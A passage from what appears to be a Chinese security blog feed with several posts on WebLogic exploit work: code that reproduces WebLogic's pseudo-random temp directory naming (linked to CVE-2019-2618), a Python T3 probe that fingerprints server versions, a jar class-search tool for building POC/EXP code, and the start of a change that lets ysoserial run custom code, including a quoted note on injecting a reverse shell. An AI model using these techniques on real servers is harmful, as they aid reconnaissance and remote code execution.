class="string">" if ($3 != null) {\n"</span> +</span><br><span class="line"> <span class="string">" var3.append(\"_\").append($3);\n"</span> +</span><br><span class="line"> <span class="string">" }\n"</span> +</span><br><span class="line"> <span class="string">"\n"</span> +</span><br><span class="line"> <span class="string">" String str = $2 + java.io.File.separator + Long.toString((long)Math.abs(var3.toString().hashCode()), 36);\n"</span> +</span><br><span class="line"> <span class="string">" System.out.println(\"[+] p1:\" + $1);\n"</span> +</span><br><span class="line"> <span class="string">" System.out.println(\"[+] p2:\" + $2);\n"</span> +</span><br><span class="line"> <span class="string">" System.out.println(\"[+] p3:\" + $3);\n"</span> +</span><br><span class="line"> <span class="string">" System.out.println(\"[+] \" + str);\n"</span> +</span><br><span class="line"> <span class="string">" return str;}"</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 解除代码锁定,恢复可编辑状态</span></span><br><span class="line"> cls.defrost();</span><br><span class="line"> <span class="comment">// 写出到外存中</span></span><br><span class="line"> cls.writeFile(<span class="string">"./PathUtils.class"</span>);</span><br><span class="line"> <span class="comment">// testJarClass.writeFile(other path);</span></span><br><span class="line"></span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> changeMethode();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/inject-code.png" alt="被注入代码后的PathUtils类"></p><p>将插桩后的PathUtils类通过Winrar软件覆盖weblogic.jar原来的类,然后重新启动weblogic,即可从控制台查看到如下:</p><p><img src="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/weblogic-run-result.png" alt="weblogic重启运行结果"></p><p>由此我们知道web应用bea_wls9_async_response的随机目录被生成时,该函数被调用并传入<code>server name</code>和<code>application name</code>,这也验证我们之前的猜想。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">generateTempPath(<span class="string">"c0ny1"</span>,<span class="string">"bea_wls9_async_response"</span>,<span class="string">"bea_wls9_async_response.war"</span>)</span><br></pre></td></tr></table></figure><h2 id="0x04-伪随机目录生成代码编写"><a href="#0x04-伪随机目录生成代码编写" class="headerlink" title="0x04 伪随机目录生成代码编写"></a>0x04 伪随机目录生成代码编写</h2><p>到这里写计算伪随机目录生成程序就是很简单的事了。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">WeblogicPathBuilder</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">generateTempPath</span><span class="params">(String paramString1, String paramString2, String paramString3)</span> </span>{</span><br><span class="line"> StringBuffer stringBuffer = <span class="keyword">new</span> StringBuffer();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (paramString1 != <span class="keyword">null</span>) stringBuffer.append(paramString1);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (paramString2 != <span class="keyword">null</span>) {</span><br><span class="line"> stringBuffer.append(<span class="string">"_"</span>).append(paramString2);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (paramString3 != <span class="keyword">null</span>) {</span><br><span class="line"> stringBuffer.append(<span class="string">"_"</span>).append(paramString3);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> Long.toString(Math.abs(stringBuffer.toString().hashCode()), <span class="number">36</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> String ServerName = args[<span class="number">0</span>];</span><br><span class="line"> String AppName = args[<span class="number">1</span>];</span><br><span class="line"> String AppWarName = AppName + <span class="string">".war"</span>;</span><br><span class="line"> System.out.println(generateTempPath(ServerName,AppName,AppWarName));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>计算结果和weblogic实际生成完全吻合!!!</p><p><img src="/articles/2019/weblogic-pseudo-random-dir-generation-algorithm-exploration/calc.png" alt="计算结果"></p><p>之后的几天逛Github时,发现早就有人发现其规律。</p><p><a href="https://github.com/dr0op/WeblogicScan/blob/master/app/plugins/CVE-2019-2618.py" target="_blank" rel="noopener">https://github.com/dr0op/WeblogicScan/blob/master/app/plugins/CVE-2019-2618.py</a></p>]]></content>
<categories>
<category> 安全研究 </category>
</categories>
</entry>
<entry>
<title>通过t3协议识别weblogic版本</title>
<link href="/articles/2019/detection-weblogic-version-by-t3/"/>
<url>/articles/2019/detection-weblogic-version-by-t3/</url>
<content type="html"><![CDATA[<p><strong>识别weblogic版本有什么用呢?</strong></p><p>在检测weblogic漏洞之前,我们往往需要探测下weblogic版本。好判断是否在漏洞版本范围,同时也为我们构造EXP做准备(相同漏洞,可能因为weblogic版本不同需要的对应的EXP,比如CVE-2019-2725)</p><a id="more"></a><h2 id="0x01-以前的方法"><a href="#0x01-以前的方法" class="headerlink" title="0x01 以前的方法"></a>0x01 以前的方法</h2><p>以前的方法是访问控制台登录页面,页面底部便有版本号!这里注意404页面的<code>10.4.5</code>并不是版本号。</p><p>http://<em>.</em>.<em>.</em>:7001/console/login/LoginForm.jsp</p><p><img src="/articles/2019/detection-weblogic-version-by-t3/login.png" alt="控制台登录页面"></p><p>然而这个页面可能会被删除或禁止访问,那有没有其他方法呢?</p><h2 id="0x02-通过t3协议识别"><a href="#0x02-通过t3协议识别" class="headerlink" title="0x02 通过t3协议识别"></a>0x02 通过t3协议识别</h2><p>最近在学习t3协议时,使用wireshark抓包时发现,协议报文中带有weblogic的版本</p><p><img src="/articles/2019/detection-weblogic-version-by-t3/10.3.6.0.png" alt="使用t3协议10.3.6.0版本通信"></p><p><img src="/articles/2019/detection-weblogic-version-by-t3/12.1.3.0.png" alt="使用t3协议12.1.3.0版本通信"></p><p>所以只需要通过t3协议发送以下数据包,即可从返回包中获取Weblogic版本。</p><pre><code>t3 10.3.6AS: 255HL: 19</code></pre><p>这里需要注意,有时候发送数据包时,可能只会返回一个<code>HELLO</code>。这时候说明t3协议应该是开启的,需要多次提交探测包,才可能在某次中成功获取到。</p><p>下面使用脚本来完成我们的上面的想法。</p><pre><code class="python"><span class="comment">#coding=utf-8</span><span class="keyword">import</span> sys<span class="keyword">import</span> socket<span class="keyword">from</span> socket <span class="keyword">import</span> error <span class="keyword">as</span> socket_error<span class="keyword">import</span> urllib<span class="string">'''</span><span class="string">'''</span><span class="function"><span class="keyword">def</span> <span class="title">t3conn</span><span class="params">(host, port)</span>:</span> <span class="keyword">try</span>: server_address = (host, port) <span class="comment">#print 'INFO: Attempting Connection: ' + str(server_address)</span> sock = socket.create_connection(server_address, <span class="number">4</span>) sock.settimeout(<span class="number">5</span>) headers = <span class="string">'t3 10.3.6\nAS:255\nHL:19\n\n'</span> sock.sendall(headers) data = <span class="string">""</span> <span class="keyword">try</span>: data = sock.recv(<span class="number">1024</span>) <span class="keyword">except</span> socket.timeout: <span class="keyword">print</span> <span class="string">'ERROR: Socket Timeout Occurred: '</span> + str(host) + <span class="string">':'</span> + str(port) + <span class="string">'\n'</span> sock.close() <span class="keyword">return</span> data <span class="keyword">except</span> socket_error: <span class="keyword">print</span> <span class="string">'ERROR: Connection Failed: '</span> + str(host) + <span class="string">':'</span> + str(port) + <span class="string">'\n'</span> <span class="keyword">return</span> <span class="string">""</span><span class="function"><span class="keyword">def</span> <span class="title">parseURL</span><span class="params">(url)</span>:</span> protocol, s1 = urllib.splittype(url) host, s2= urllib.splithost(s1) host, port = urllib.splitport(host) <span class="keyword">if</span> port == <span class="literal">None</span> <span class="keyword">and</span> protocol == <span class="string">'https'</span>: port = <span class="number">443</span> <span class="keyword">elif</span> port == <span class="literal">None</span> <span class="keyword">and</span> protocol == <span class="string">'http'</span>: port = <span class="number">80</span> <span class="keyword">return</span> protocol,host,port<span class="function"><span class="keyword">def</span> <span class="title">weblogic</span><span class="params">(url)</span>:</span> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">10</span>): protocol,host,port = parseURL(url) data = t3conn(host, port) <span class="keyword">if</span> data.strip() == <span class="string">'HELO'</span>: <span class="keyword">print</span> <span class="string">'INFO: Sever only returned HELO, retrying to get server version.'</span> <span class="keyword">continue</span> <span class="keyword">if</span> data == <span class="string">""</span>: <span class="keyword">break</span> <span class="keyword">print</span> data <span class="keyword">if</span> <span class="string">'HELO'</span> <span class="keyword">in</span> data: found_weblogic_version = data[<span class="number">5</span>:<span class="number">13</span>] <span class="keyword">print</span> <span class="string">'[+] version: %s'</span> % found_weblogic_version <span class="comment">#print '[+] result: %s' % data</span> <span class="keyword">break</span><span class="function"><span class="keyword">def</span> <span class="title">poc</span><span class="params">(url)</span>:</span> <span class="keyword">pass</span><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>: weblogic(sys.argv[<span class="number">1</span>])</code></pre><p><img src="/articles/2019/detection-weblogic-version-by-t3/result.png" alt="脚本探测结果"></p><p>如果未探测到,以下几种可能情况:</p><ol><li>t3协议未启用</li><li>服务器做了负载均衡</li></ol><h2 id="0x03-遗留问题"><a href="#0x03-遗留问题" class="headerlink" title="0x03 遗留问题"></a>0x03 遗留问题</h2><p>有些weblogic站点用的https协议,得有t3s协议去探测,我虽然在代码中考虑到了。但是没未成功,一是没有现成的环境,二是没有实实在在使用过t3s协议。等等weblogic经验更丰富时,在解决!</p><h2 id="0x04-后续"><a href="#0x04-后续" class="headerlink" title="0x04 后续"></a>0x04 后续</h2><p>本来想学n1nty师傅对struts2框架的识别的思路,研究目标应用的底层代码,再构造特定的数据包来识别。无奈目前的知识和经验储备还无法支撑这个思路,等后面深入weblogic底层代码时,有发现再做尝试。</p>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>如何快速找到POC/EXP依赖的jar?</title>
<link href="/articles/2019/quickly-find-jars-that-depend-on-poc-exp/"/>
<url>/articles/2019/quickly-find-jars-that-depend-on-poc-exp/</url>
<content type="html"><![CDATA[<p>标题主要是针对安全人员,如果针对是开发人员的话,应该是 <strong>如何快速从众多jar中找到目标类?</strong></p><p>在编写Java相关中间件或者CMS的POC/EXP时一般都会依赖它们的某个jar,但它们的jar往往非常多,并且会分散在各个目录下,那么如何快速找到它们呢?</p><h2 id="0x01-之前的方案"><a href="#0x01-之前的方案" class="headerlink" title="0x01 之前的方案"></a>0x01 之前的方案</h2><p>以前我的方法是把所有的jar复制到一个目录下,然后把它们导入到IDEA中,最后使用IDEA搜索。例如最近在写的一个Weblogic漏洞的POC,编译时提示找不到<code>weblogic.work.ExecuteThread</code>,这时就可以使用该方法搜索到它在<code>wlthin3client.jar</code>中,然后将其引入问题解决。</p><p><img src="/articles/2019/quickly-find-jars-that-depend-on-poc-exp/findbyIDEA.png" alt="通过IDEA搜索"></p><p>不过细想,需要以下步骤:</p><ol><li>新建目录</li><li>复制所有jar到目录下</li><li>打开IDEA</li><li>将所有jar导入IDEA</li><li>在IDEA中搜索目标类 </li></ol><p>这还是稍微有点繁琐了,那能不能更加轻便快速地找到我们需要的类呢?下面通过编程来优雅地给大家省几秒钟。</p><h2 id="0x02-编写代码"><a href="#0x02-编写代码" class="headerlink" title="0x02 编写代码"></a>0x02 编写代码</h2><p>我们要实现的是需提供<code>类名</code>,和<code>jar所在目录</code>就可搜索的小工具,它支持完整类名搜索,也支持通配符。具体如何实现,请参考我代码中的注释和提供的参考文章链接。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> me.gv7.searchclassinjar;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.util.Enumeration;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.ZipEntry;</span><br><span class="line"><span class="keyword">import</span> java.util.zip.ZipFile;</span><br><span class="line"><span class="keyword">import</span> java.util.regex.Pattern;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * author: c0ny1</span></span><br><span class="line"><span class="comment"> * date: 2019-05-13 23:51:42</span></span><br><span class="line"><span class="comment"> * description: 快速从众多jar中,搜索目标class所在的jar。不区分大小写,支持通配符搜索。</span></span><br><span class="line"><span class="comment"> * reference:</span></span><br><span class="line"><span class="comment"> * 1.https://jdkleo.iteye.com/blog/2392642</span></span><br><span class="line"><span class="comment"> * 2.https://lihong11.iteye.com/blog/1936694</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">SearchClassInJar</span> </span>{</span><br><span class="line"> <span class="keyword">private</span> String className;</span><br><span class="line"> <span class="keyword">private</span> String jarDir;</span><br><span class="line"> <span class="keyword">private</span> Integer totalNum = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">SearchClassInJar</span><span class="params">(String className,String jarDir)</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.className = className;</span><br><span class="line"> <span class="keyword">this</span>.jarDir = jarDir;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//将jar中的类文件路径形式改为包路径形式</span></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> String <span class="title">getClassName</span><span class="params">(ZipEntry entry)</span> </span>{</span><br><span class="line"> StringBuffer className = <span class="keyword">new</span> StringBuffer(entry.getName().replace(<span class="string">'/'</span>,<span class="string">'.'</span>));</span><br><span class="line"> <span class="keyword">return</span> className.toString();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 从jar从搜索目标类</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">searchClass</span><span class="params">(<span class="keyword">boolean</span> recurse)</span> </span>{</span><br><span class="line"> searchDir(<span class="keyword">this</span>.jarDir, recurse);</span><br><span class="line"> System.out.println(String.format(<span class="string">"[!] Find %s classes"</span>,<span class="keyword">this</span>.totalNum));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//递归搜索目录和子目录下所有jar和zip文件</span></span><br><span class="line"> <span class="function"><span class="keyword">protected</span> <span class="keyword">void</span> <span class="title">searchDir</span><span class="params">(String dir, <span class="keyword">boolean</span> recurse)</span> </span>{</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> File d = <span class="keyword">new</span> File(dir);</span><br><span class="line"> <span class="keyword">if</span> (!d.isDirectory()) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> File[] files = d.listFiles();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < files.length; i++) {</span><br><span class="line"> <span class="keyword">if</span> (recurse && files[i].isDirectory()) {</span><br><span class="line"> searchDir(files[i].getAbsolutePath(), <span class="keyword">true</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> String filename = files[i].getAbsolutePath();</span><br><span class="line"> <span class="keyword">if</span> (filename.endsWith(<span class="string">".jar"</span>)||filename.endsWith(<span class="string">".zip"</span>)) {</span><br><span class="line"> ZipFile zip = <span class="keyword">new</span> ZipFile(filename);</span><br><span class="line"> Enumeration entries = zip.entries();</span><br><span class="line"> <span class="keyword">while</span> (entries.hasMoreElements()) {</span><br><span class="line"> ZipEntry entry = (ZipEntry) entries.nextElement();</span><br><span class="line"> String thisClassName = getClassName(entry);</span><br><span class="line"> <span class="keyword">if</span> (wildcardEquals(<span class="keyword">this</span>.className.toLowerCase(),thisClassName.toLowerCase()) || wildcardEquals(<span class="keyword">this</span>.className.toLowerCase() + <span class="string">".class"</span>,thisClassName.toLowerCase())) {</span><br><span class="line"> String res = String.format(<span class="string">"[+] %s | %s"</span>,thisClassName,filename);</span><br><span class="line"> System.out.println(res);</span><br><span class="line"> totalNum++;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//通配符匹配</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">boolean</span> <span class="title">wildcardEquals</span><span class="params">(String wildcard, String str)</span> </span>{</span><br><span class="line"> String regRule = WildcardToReg(wildcard);</span><br><span class="line"> <span class="keyword">return</span> Pattern.compile(regRule).matcher(str).matches();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">//将通配符转换为正则表达式</span></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">static</span> String <span class="title">WildcardToReg</span><span class="params">(String path)</span> </span>{</span><br><span class="line"> <span class="keyword">char</span>[] chars = path.toCharArray();</span><br><span class="line"> <span class="keyword">int</span> len = chars.length;</span><br><span class="line"> StringBuilder sb = <span class="keyword">new</span> StringBuilder();</span><br><span class="line"> <span class="keyword">boolean</span> preX = <span class="keyword">false</span>;</span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> i=<span class="number">0</span>;i<len;i++){</span><br><span class="line"> <span class="keyword">if</span> (chars[i] == <span class="string">'*'</span>){</span><br><span class="line"> <span class="keyword">if</span> (preX){</span><br><span class="line"> sb.append(<span class="string">".*"</span>);</span><br><span class="line"> preX = <span class="keyword">false</span>;</span><br><span class="line"> }<span class="keyword">else</span> <span class="keyword">if</span>(i+<span class="number">1</span> == len){</span><br><span class="line"> sb.append(<span class="string">"[^/]*"</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> preX = <span class="keyword">true</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">if</span> (preX){</span><br><span class="line"> sb.append(<span class="string">"[^/]*"</span>);</span><br><span class="line"> preX = <span class="keyword">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (chars[i] == <span class="string">'?'</span>){</span><br><span class="line"> sb.append(<span class="string">'.'</span>);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> sb.append(chars[i]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> sb.toString();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String args[])</span> </span>{</span><br><span class="line"> <span class="keyword">if</span>(args.length < <span class="number">2</span>){</span><br><span class="line"> System.out.println(<span class="string">"SearchClassInJar v0.1"</span>);</span><br><span class="line"> System.out.println(<span class="string">"Autor:c0ny1<[email protected]>"</span>);</span><br><span class="line"> System.out.println(<span class="string">"Usage:java -jar SearchClassInJar.jar <ClassName> <JarDir>"</span>);</span><br><span class="line"> System.out.println(<span class="string">"Example:java -jar SearchClassInJar.jar weblogic.work.ExecuteThread C:\\weblogic"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> SearchClassInJar scij = <span class="keyword">new</span> SearchClassInJar(args[<span class="number">0</span>],args[<span class="number">1</span>]);</span><br><span class="line"> scij.searchClass(<span class="keyword">true</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>使用方法:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -jar SearchClassInJar.jar <ClassName> <JarDir></span><br></pre></td></tr></table></figure><p>PS:大家可自行编译,若需要我编译好的,请公众号后台回复<code>SearchClassInJar</code>获取下载地址!</p><h2 id="0x03-演示效果"><a href="#0x03-演示效果" class="headerlink" title="0x03 演示效果"></a>0x03 演示效果</h2><p>我们还是来找Weblogic下<code>weblogic.work.ExecuteThread</code>类所在的jar。命令行下运行我们写好的程序,指定要搜索的类名和weblogic安装目录即可。可以有以下三种方式搜索。</p><p><img src="/articles/2019/quickly-find-jars-that-depend-on-poc-exp/findbycode.png" alt="演示效果"></p><h2 id="0x04-参考文章"><a href="#0x04-参考文章" class="headerlink" title="0x04 参考文章"></a>0x04 参考文章</h2><ul><li><a href="https://jdkleo.iteye.com/blog/2392642" target="_blank" rel="noopener">java实现路径通配符<em>,*</em>,?</a></li><li><a href="https://lihong11.iteye.com/blog/1936694" target="_blank" rel="noopener">查找某个类所在jar包</a></li></ul>]]></content>
<categories>
<category> 安全开发 </category>
</categories>
</entry>
<entry>
<title>使ysoserial支持执行自定义代码</title>
<link href="/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/"/>
<url>/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/</url>
<content type="html"><![CDATA[<p>修改ysoserial代码,可使其支持执行自定义代码,是在一次与Bearcat师傅聊天时提到的。当时觉得眼前一亮,感觉在命令执行受阻时,也许可以通过代码执行达到目的。后面去查资料找到了fnmsd师傅的文章,解决了实现该想法的疑问。在此感谢两位师傅给我的启发。</p><a id="more"></a><h2 id="0x01-意义"><a href="#0x01-意义" class="headerlink" title="0x01 意义"></a>0x01 意义</h2><p><strong>一、绕过检测,执行某些禁止命令。</strong></p><p>有些系统做了防护,不许执行或者没有某些命令(比如wget)。这时可以编写命令同等功能的代码,来绕过限制。</p><p><strong>二、解决各个平台命令不一致。</strong></p><p>不同操作系统,命令会有不同。比如查看ip操作,Windows是ipconfig,Linux是ifconfg。而java代码是可以跨平台的。</p><p><strong>三、获取更高的自由度,实现更复杂的操作。</strong></p><p>命令的背后也是代码,当需要执行一些比较复杂的操作时,纯命令是很难实现的,但代码可以!</p><h2 id="0x02-原理"><a href="#0x02-原理" class="headerlink" title="0x02 原理"></a>0x02 原理</h2><p>在<code>ysoserial/payloads/util/Gadgets.java</code>中的代码注释,作者提到</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections(待做,可以做一些有趣的事情比如注入一个纯java的反弹或绑定shell去绕过较弱的保护)</span><br></pre></td></tr></table></figure><p>可知作者也有此意,并给我们预留了可指定自定义代码的变量<code>cmd</code>。</p><p><img src="/articles/2019/enable-ysoserial-to-support-execution-of-custom-code/cmd-code.png" alt="作者的注释"></p><p>我们从控制台传入的命令,会被保存到<code>command</code>变量中,最后ysoserial会将该变量的值,拼接到<code>"Runtime.getRuntime.exec(" + 命令 + ")"</code>中,生成形成达到命令执行的代码,所以本质上还是代码执行。</p><p><strong>因此要想使ysoserial支持执行自定义代码,只要使得在控制台输入能控制cmd变量的值即可。实现起来并不难</strong></p><h2 id="0x03-编码"><a href="#0x03-编码" class="headerlink" title="0x03 编码"></a>0x03 编码</h2><p>根据我个人的的需要,给ysoserial加入以下三种方式来指定要执行的自定义代码。</p><table><thead><tr><th align="center">序号</th><th align="left">方式</th><th align="left">描述</th></tr></thead><tbody><tr><td align="center">1</td><td align="left">“code:代码内容”</td><td align="left">代码量比较少时采用</td></tr><tr><td align="center">2</td><td align="left">“codebase64:代码内容base64编码”</td><td align="left">防止代码中存在但引号,双引号,&等字符与控制台命令冲突。</td></tr><tr><td align="center">3</td><td align="left">“codefile:代码文件路径”</td><td align="left">代码量比较多时采用</td></tr></tbody></table><p><strong>注意:如果没有指定以上开头,就默认当命令处理。</strong></p><p>基于上面的需求,我修改了<code>createTemplatesImpl()</code>函数的代码为如下,具体如何实现,请参考代码和注释。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <T> <span class="function">T <span class="title">createTemplatesImpl</span> <span class="params">( <span class="keyword">final</span> String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )</span></span></span><br><span class="line"><span class="function"> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> <span class="keyword">final</span> T templates = tplClass.newInstance();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// use template gadget class</span></span><br><span class="line"> ClassPool pool = ClassPool.getDefault();</span><br><span class="line"> pool.insertClassPath(<span class="keyword">new</span> ClassClassPath(StubTransletPayload.class));</span><br><span class="line"> pool.insertClassPath(<span class="keyword">new</span> ClassClassPath(abstTranslet));</span><br><span class="line"> <span class="keyword">final</span> CtClass clazz = 